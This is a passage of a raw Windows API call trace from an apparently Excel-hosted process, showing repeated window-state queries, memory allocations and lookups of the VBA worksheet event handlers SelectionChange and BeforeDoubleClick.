[0217.562] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0217.562] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0217.562] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0217.562] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0217.562] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0217.562] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0217.562] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0217.562] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0217.562] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0217.563] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0217.563] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0217.563] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0217.563] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0217.563] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0217.563] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0217.563] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0217.563] IsWindowEnabled (hWnd=0x202b0) returned 1 [0217.563] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0217.563] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0217.563] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0217.563] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0217.563] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0217.563] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0217.563] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0217.563] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0217.563] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0217.563] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0217.563] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0217.563] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0217.563] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0217.563] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0217.564] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0217.564] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0217.564] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0217.564] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0217.564] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0217.564] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0217.564] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0217.564] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb91220 [0217.564] IMalloc:Free (This=0x7feffc15380, pv=0xbb91220) [0217.858] GetAsyncKeyState (vKey=27) returned 0 [0217.858] GetCurrentThreadId () returned 0x8fc [0217.858] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0217.858] GetDesktopWindow () returned 0x10010 [0217.858] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0217.858] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0217.859] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0217.859] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0217.859] GetWindowLongPtrA (hWnd=0x120168, nIndex=-6) returned 0x7feef2c0000 [0217.859] GetWindowLongPtrA (hWnd=0x120168, nIndex=-6) returned 0x7feef2c0000 [0217.859] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0217.859] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0217.859] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0217.859] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0217.859] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0217.859] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0217.859] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0217.859] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0217.859] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0217.859] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0217.859] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0217.859] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0217.859] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0217.859] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0217.860] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0217.860] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0217.860] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0217.860] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0217.860] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0217.860] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0217.860] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0217.860] IsWindowEnabled (hWnd=0x202b0) returned 0 [0217.860] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0217.860] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0217.860] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0217.860] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0217.860] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0217.860] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0217.860] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0217.860] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0217.860] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0217.861] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0217.861] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0217.861] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0217.861] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0217.861] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0217.861] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0217.861] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0217.861] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0217.861] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0217.861] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0217.861] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0217.861] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0217.861] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x24aced0 [0217.861] IMalloc:Free (This=0x7feffc15380, pv=0x24aced0) [0220.899] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5200000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5200000345) returned 0x0 [0220.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0220.899] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0220.899] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0220.899] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0220.901] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0220.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0220.901] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0220.901] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0220.901] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0220.924] GetCurrentThreadId () returned 0x8fc [0220.924] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0220.924] GetDesktopWindow () returned 0x10010 [0220.924] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0220.924] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0220.925] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0220.925] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0220.925] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0220.925] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0220.925] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0220.925] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0220.925] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0220.925] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0220.925] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0220.925] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0220.925] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0220.925] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0220.925] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0220.925] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0220.925] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0220.925] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0220.925] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0220.925] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0220.925] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0220.925] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0220.926] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0220.926] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0220.926] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0220.926] IsWindowEnabled (hWnd=0x202b0) returned 1 [0220.926] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0220.926] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0220.926] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0220.926] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0220.926] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0220.926] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0220.926] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0220.926] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0220.926] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0220.927] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0220.927] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0220.927] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0220.927] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0220.927] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0220.927] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0220.928] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0220.928] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0220.928] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0220.928] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0220.928] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0220.928] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0220.928] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb91540 [0220.929] IMalloc:Free (This=0x7feffc15380, pv=0xbb91540) [0221.328] GetAsyncKeyState (vKey=27) returned 0 [0221.328] GetCurrentThreadId () returned 0x8fc [0221.329] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0221.329] GetDesktopWindow () returned 0x10010 [0221.329] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0221.329] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0221.329] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0221.329] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0221.329] GetWindowLongPtrA (hWnd=0x1602e6, nIndex=-6) returned 0x7feef2c0000 [0221.329] GetWindowLongPtrA (hWnd=0x1602e6, nIndex=-6) returned 0x7feef2c0000 [0221.329] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0221.329] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0221.329] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0221.329] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0221.329] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0221.329] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0221.330] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0221.330] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0221.330] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0221.330] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0221.330] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0221.330] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0221.330] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0221.330] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0221.330] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0221.330] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0221.330] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0221.330] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0221.330] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0221.330] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0221.331] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0221.331] IsWindowEnabled (hWnd=0x202b0) returned 0 [0221.331] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0221.331] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0221.331] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0221.331] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0221.331] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0221.331] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0221.331] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0221.331] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0221.331] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0221.331] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0221.331] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0221.331] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0221.331] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0221.331] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0221.331] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0221.331] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0221.331] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0221.332] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0221.332] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0221.332] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0221.332] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0221.332] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb91e40 [0221.332] IMalloc:Free (This=0x7feffc15380, pv=0xbb91e40) [0224.539] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c000000c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c000000c0) returned 0x0 [0224.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0224.539] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0224.539] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0224.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0224.540] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0224.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0224.540] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0224.540] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0224.540] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0224.739] GetCurrentThreadId () returned 0x8fc [0224.739] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0224.740] GetDesktopWindow () returned 0x10010 [0224.740] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0224.740] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0224.740] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0224.740] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0224.740] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0224.740] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0224.740] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0224.740] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0224.740] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0224.740] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0224.740] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0224.740] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0224.740] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0224.740] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0224.740] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0224.740] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0224.741] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0224.741] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0224.741] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0224.741] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0224.741] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0224.741] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0224.741] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0224.741] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0224.741] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0224.741] IsWindowEnabled (hWnd=0x202b0) returned 1 [0224.741] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0224.741] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0224.741] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0224.741] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0224.741] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0224.741] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0224.741] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0224.741] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0224.741] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0224.742] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0224.742] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0224.742] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0224.742] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0224.742] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0224.742] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0224.742] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0224.742] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0224.742] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0224.742] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0224.742] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0224.742] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0224.742] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x24aced0 [0224.743] IMalloc:Free (This=0x7feffc15380, pv=0x24aced0) [0225.076] GetAsyncKeyState (vKey=27) returned 0 [0225.076] GetCurrentThreadId () returned 0x8fc [0225.076] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0225.076] GetDesktopWindow () returned 0x10010 [0225.076] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0225.076] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0225.076] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0225.076] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0225.076] GetWindowLongPtrA (hWnd=0x24021c, nIndex=-6) returned 0x7feef2c0000 [0225.076] GetWindowLongPtrA (hWnd=0x24021c, nIndex=-6) returned 0x7feef2c0000 [0225.077] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0225.077] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0225.077] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0225.077] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0225.077] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0225.077] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0225.077] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0225.077] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0225.077] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0225.077] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0225.077] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0225.077] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0225.077] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0225.077] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0225.077] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0225.077] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0225.077] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0225.077] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0225.077] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0225.077] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0225.077] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0225.077] IsWindowEnabled (hWnd=0x202b0) returned 0 [0225.077] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0225.078] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0225.078] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0225.078] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0225.078] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0225.078] GetWindowLongPtrA (hWnd=0x1022e, 